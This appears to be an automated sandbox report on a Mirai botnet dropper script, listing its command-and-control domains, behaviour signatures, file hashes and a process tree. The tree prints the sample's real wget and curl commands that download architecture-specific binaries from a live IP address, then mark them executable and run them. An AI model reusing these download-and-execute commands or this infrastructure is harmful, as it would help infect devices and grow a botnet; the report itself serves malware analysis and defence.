Analysis

  • max time kernel
    146s
  • max time network
    148s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20251218-en
  • resource tags

    arch:armhfimage:debian9-armhf-20251218-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    19/12/2025, 12:42

General

  • Target
    zyxel.sh
  • Size 4KB
  • Sample251219-pxjvka1pcz
  • SHA256 a8bf7fd01bb4a16af2fa1b13165f0f2c4753c3271feac14690d4dc6bb3268da0
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • mirai

Botnet
  • UNSTABLE

C2
  • cnc.504.su

  • scan.504.su

Extracted

Family
  • mirai

Botnet
  • UNSTABLE

C2
  • cnc.504.su

  • scan.504.su

Extracted

Family
  • mirai

Botnet
  • UNSTABLE

C2
  • cnc.504.su

  • scan.504.su

Signatures

  • Mirai

    Mirai is a prevalent Linux malware infecting exposed network devices.

  • Mirai family
  • Contacts a large (79663) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 10 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 10 IoCs
  • Modifies Watchdog functionality 1 TTPs 12 IoCs

    Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

  • Enumerates active TCP sockets 1 TTPs 5 IoCs

    Gets active TCP sockets from /proc virtual filesystem.

  • Writes file to system bin folder 12 IoCs
  • Changes its process name 6 IoCs
  • Checks CPU configuration 1 TTPs 10 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads system network configuration 1 TTPs 5 IoCs

    Uses contents of /proc filesystem to enumerate network settings.

  • Reads runtime system information 45 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 3 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 21 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/zyxel.sh
    /tmp/zyxel.sh
    1⤵
    • Executes dropped EXE
    • Writes file to tmp directory
    PID:644
    • /usr/bin/wget
      wget http://158.94.210.88/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.x86
      2⤵
      • Writes file to tmp directory
      PID:650
    • /usr/bin/curl
      curl -O http://158.94.210.88/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.x86
      2⤵
      • Checks CPU configuration
      • Reads runtime system information
      • Writes file to tmp directory
      PID:672
    • /bin/cat
      cat db0fa4b8db0333367e9bda3ab68b8042.x86
      2⤵
        PID:703
      • /bin/chmod
        chmod +x 76d32be0 db0fa4b8db0333367e9bda3ab68b8042.x86 systemd-private-5c7b1fb2afa744b18f3e0b0814c98fcd-systemd-timedated.service-mHNxwv zyxel.sh
        2⤵
        • File and Directory Permissions Modification
        PID:704
      • /tmp/76d32be0
        ./76d32be0 zyxel.exploit
        2⤵
          PID:705
        • /usr/bin/wget
          wget http://158.94.210.88/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:707
        • /usr/bin/curl
          curl -O http://158.94.210.88/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips
          2⤵
          • Checks CPU configuration
          • Reads runtime system information
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:708
        • /bin/cat
          cat db0fa4b8db0333367e9bda3ab68b8042.mips
          2⤵
          • System Network Configuration Discovery
          PID:709
        • /bin/chmod
          chmod +x 76d32be0 db0fa4b8db0333367e9bda3ab68b8042.mips db0fa4b8db0333367e9bda3ab68b8042.x86 systemd-private-5c7b1fb2afa744b18f3e0b0814c98fcd-systemd-timedated.service-mHNxwv zyxel.sh
          2⤵
          • File and Directory Permissions Modification
          PID:710
        • /tmp/76d32be0
          ./76d32be0 zyxel.exploit
          2⤵
            PID:711
          • /usr/bin/wget
            wget http://158.94.210.88/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mpsl
            2⤵
            • Writes file to tmp directory
            PID:713
          • /usr/bin/curl
            curl -O http://158.94.210.88/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mpsl
            2⤵
            • Checks CPU configuration
            • Reads runtime system information
            • Writes file to tmp directory
            PID:714
          • /bin/cat
            cat db0fa4b8db0333367e9bda3ab68b8042.mpsl
            2⤵
              PID:715
            • /bin/chmod
              chmod +x 76d32be0 db0fa4b8db0333367e9bda3ab68b8042.mips db0fa4b8db0333367e9bda3ab68b8042.mpsl db0fa4b8db0333367e9bda3ab68b8042.x86 systemd-private-5c7b1fb2afa744b18f3e0b0814c98fcd-systemd-timedated.service-mHNxwv zyxel.sh
              2⤵
              • File and Directory Permissions Modification
              PID:716
            • /tmp/76d32be0
              ./76d32be0 zyxel.exploit
              2⤵
                PID:717
              • /usr/bin/wget
                wget http://158.94.210.88/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.arm
                2⤵
                • Writes file to tmp directory
                PID:719
              • /usr/bin/curl
                curl -O http://158.94.210.88/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.arm
                2⤵
                • Checks CPU configuration
                • Reads runtime system information
                • Writes file to tmp directory
                PID:720
              • /bin/cat
                cat db0fa4b8db0333367e9bda3ab68b8042.arm
                2⤵
                  PID:721
                • /bin/chmod
                  chmod +x 76d32be0 db0fa4b8db0333367e9bda3ab68b8042.arm db0fa4b8db0333367e9bda3ab68b8042.mips db0fa4b8db0333367e9bda3ab68b8042.mpsl db0fa4b8db0333367e9bda3ab68b8042.x86 systemd-private-5c7b1fb2afa744b18f3e0b0814c98fcd-systemd-timedated.service-mHNxwv zyxel.sh
                  2⤵
                  • File and Directory Permissions Modification
                  PID:722
                • /tmp/76d32be0
                  ./76d32be0 zyxel.exploit
                  2⤵
                  • Modifies Watchdog functionality
                  • Writes file to system bin folder
                  • Changes its process name
                  PID:723
                • /usr/bin/wget
                  wget http://158.94.210.88/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.arm5
                  2⤵
                  • Writes file to tmp directory
                  PID:725
                • /usr/bin/curl
                  curl -O http://158.94.210.88/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.arm5
                  2⤵
                  • Checks CPU configuration
                  • Reads runtime system information
                  • Writes file to tmp directory
                  PID:730
                • /bin/chmod
                  chmod +x 76d32be0 db0fa4b8db0333367e9bda3ab68b8042.arm db0fa4b8db0333367e9bda3ab68b8042.arm5 db0fa4b8db0333367e9bda3ab68b8042.mips db0fa4b8db0333367e9bda3ab68b8042.mpsl db0fa4b8db0333367e9bda3ab68b8042.x86 systemd-private-5c7b1fb2afa744b18f3e0b0814c98fcd-systemd-timedated.service-mHNxwv zyxel.sh
                  2⤵
                  • File and Directory Permissions Modification
                  PID:732
                • /tmp/76d32be0
                  ./76d32be0 zyxel.exploit
                  2⤵
                  • Modifies Watchdog functionality
                  • Enumerates active TCP sockets
                  • Writes file to system bin folder
                  • Changes its process name
                  • Reads system network configuration
                  PID:733
                • /usr/bin/wget
                  wget http://158.94.210.88/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.arm6
                  2⤵
                  • Writes file to tmp directory
                  PID:737
                • /usr/bin/curl
                  curl -O http://158.94.210.88/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.arm6
                  2⤵
                  • Checks CPU configuration
                  • Reads runtime system information
                  • Writes file to tmp directory
                  PID:742
                • /bin/chmod
                  chmod +x 76d32be0 db0fa4b8db0333367e9bda3ab68b8042.arm db0fa4b8db0333367e9bda3ab68b8042.arm5 db0fa4b8db0333367e9bda3ab68b8042.arm6 db0fa4b8db0333367e9bda3ab68b8042.mips db0fa4b8db0333367e9bda3ab68b8042.mpsl db0fa4b8db0333367e9bda3ab68b8042.x86 systemd-private-5c7b1fb2afa744b18f3e0b0814c98fcd-systemd-timedated.service-mHNxwv zyxel.sh
                  2⤵
                  • File and Directory Permissions Modification
                  PID:744
                • /tmp/76d32be0
                  ./76d32be0 zyxel.exploit
                  2⤵
                  • Modifies Watchdog functionality
                  • Enumerates active TCP sockets
                  • Writes file to system bin folder
                  • Changes its process name
                  • Reads system network configuration
                  PID:745
                • /usr/bin/wget
                  wget http://158.94.210.88/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.arm7
                  2⤵
                  • Writes file to tmp directory
                  PID:748
                • /usr/bin/curl
                  curl -O http://158.94.210.88/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.arm7
                  2⤵
                  • Checks CPU configuration
                  • Reads runtime system information
                  • Writes file to tmp directory
                  PID:754
                • /bin/chmod
                  chmod +x 76d32be0 db0fa4b8db0333367e9bda3ab68b8042.arm db0fa4b8db0333367e9bda3ab68b8042.arm5 db0fa4b8db0333367e9bda3ab68b8042.arm6 db0fa4b8db0333367e9bda3ab68b8042.arm7 db0fa4b8db0333367e9bda3ab68b8042.mips db0fa4b8db0333367e9bda3ab68b8042.mpsl db0fa4b8db0333367e9bda3ab68b8042.x86 systemd-private-5c7b1fb2afa744b18f3e0b0814c98fcd-systemd-timedated.service-mHNxwv zyxel.sh
                  2⤵
                  • File and Directory Permissions Modification
                  PID:756
                • /tmp/76d32be0
                  ./76d32be0 zyxel.exploit
                  2⤵
                  • Modifies Watchdog functionality
                  • Enumerates active TCP sockets
                  • Writes file to system bin folder
                  • Changes its process name
                  • Reads system network configuration
                  • Reads runtime system information
                  PID:757
                • /usr/bin/wget
                  wget http://158.94.210.88/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.ppc
                  2⤵
                  • Writes file to tmp directory
                  PID:759
                • /usr/bin/curl
                  curl -O http://158.94.210.88/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.ppc
                  2⤵
                  • Checks CPU configuration
                  • Reads runtime system information
                  • Writes file to tmp directory
                  PID:787
                • /bin/chmod
                  chmod +x 76d32be0 db0fa4b8db0333367e9bda3ab68b8042.arm db0fa4b8db0333367e9bda3ab68b8042.arm5 db0fa4b8db0333367e9bda3ab68b8042.arm6 db0fa4b8db0333367e9bda3ab68b8042.arm7 db0fa4b8db0333367e9bda3ab68b8042.mips db0fa4b8db0333367e9bda3ab68b8042.mpsl db0fa4b8db0333367e9bda3ab68b8042.ppc db0fa4b8db0333367e9bda3ab68b8042.x86 zyxel.sh
                  2⤵
                  • File and Directory Permissions Modification
                  PID:789
                • /tmp/76d32be0
                  ./76d32be0 zyxel.exploit
                  2⤵
                  • Modifies Watchdog functionality
                  • Enumerates active TCP sockets
                  • Writes file to system bin folder
                  • Changes its process name
                  • Reads system network configuration
                  PID:790
                • /usr/bin/wget
                  wget http://158.94.210.88/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.m68k
                  2⤵
                  • Writes file to tmp directory
                  PID:794
                • /usr/bin/curl
                  curl -O http://158.94.210.88/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.m68k
                  2⤵
                  • Checks CPU configuration
                  • Reads runtime system information
                  • Writes file to tmp directory
                  PID:799
                • /bin/chmod
                  chmod +x 76d32be0 db0fa4b8db0333367e9bda3ab68b8042.arm db0fa4b8db0333367e9bda3ab68b8042.arm5 db0fa4b8db0333367e9bda3ab68b8042.arm6 db0fa4b8db0333367e9bda3ab68b8042.arm7 db0fa4b8db0333367e9bda3ab68b8042.m68k db0fa4b8db0333367e9bda3ab68b8042.mips db0fa4b8db0333367e9bda3ab68b8042.mpsl db0fa4b8db0333367e9bda3ab68b8042.ppc db0fa4b8db0333367e9bda3ab68b8042.x86 zyxel.sh
                  2⤵
                  • File and Directory Permissions Modification
                  PID:801
                • /tmp/76d32be0
                  ./76d32be0 zyxel.exploit
                  2⤵
                  • Modifies Watchdog functionality
                  • Enumerates active TCP sockets
                  • Writes file to system bin folder
                  • Changes its process name
                  • Reads system network configuration
                  PID:802
                • /usr/bin/wget
                  wget http://158.94.210.88/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.spc
                  2⤵
                  • Writes file to tmp directory
                  PID:804
                • /usr/bin/curl
                  curl -O http://158.94.210.88/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.spc
                  2⤵
                  • Checks CPU configuration
                  • Reads runtime system information
                  • Writes file to tmp directory
                  PID:810
                • /bin/chmod
                  chmod +x 76d32be0 db0fa4b8db0333367e9bda3ab68b8042.arm db0fa4b8db0333367e9bda3ab68b8042.arm5 db0fa4b8db0333367e9bda3ab68b8042.arm6 db0fa4b8db0333367e9bda3ab68b8042.arm7 db0fa4b8db0333367e9bda3ab68b8042.m68k db0fa4b8db0333367e9bda3ab68b8042.mips db0fa4b8db0333367e9bda3ab68b8042.mpsl db0fa4b8db0333367e9bda3ab68b8042.ppc db0fa4b8db0333367e9bda3ab68b8042.spc db0fa4b8db0333367e9bda3ab68b8042.x86 zyxel.sh
                  2⤵
                  • File and Directory Permissions Modification
                  PID:813
                • /tmp/76d32be0
                  ./76d32be0 zyxel.exploit
                  2⤵
                    PID:814

                Network

                      MITRE ATT&CK Enterprise v16

                      Replay Monitor

                      Loading Replay Monitor...

                      Downloads

                      76d32be0

                      • Path /tmp/76d32be0
                      • Size 94KB
                      • SHA256 5a5be8301b1b61d5ffe08de1b358574f72fad83a739b9e12ae70e93fa6ba5b14
                      • MD5 SHA1 SHA512 SSDEEP

                      76d32be0

                      • Path /tmp/76d32be0
                      • Size 94KB
                      • SHA256 85e6515d887fb0ddf498df540c1a71b10438f722d85b95d613e0cbe37b7c4261
                      • MD5 SHA1 SHA512 SSDEEP

                      76d32be0

                      • Path /tmp/76d32be0
                      • Size 72KB
                      • SHA256 7dc62967116eed8492f6339b652f9887b57b3e73260514a5989ad90b80230b25
                      • MD5 SHA1 SHA512 SSDEEP

                      db0fa4b8db0333367e9bda3ab68b8042.x86

                      • Path /tmp/db0fa4b8db0333367e9bda3ab68b8042.x86
                      • Size 64KB
                      • SHA256 74ee95ea935954d8320594f45a3ed34d956637f399d927d75f080648800106a0
                      • MD5 SHA1 SHA512 SSDEEP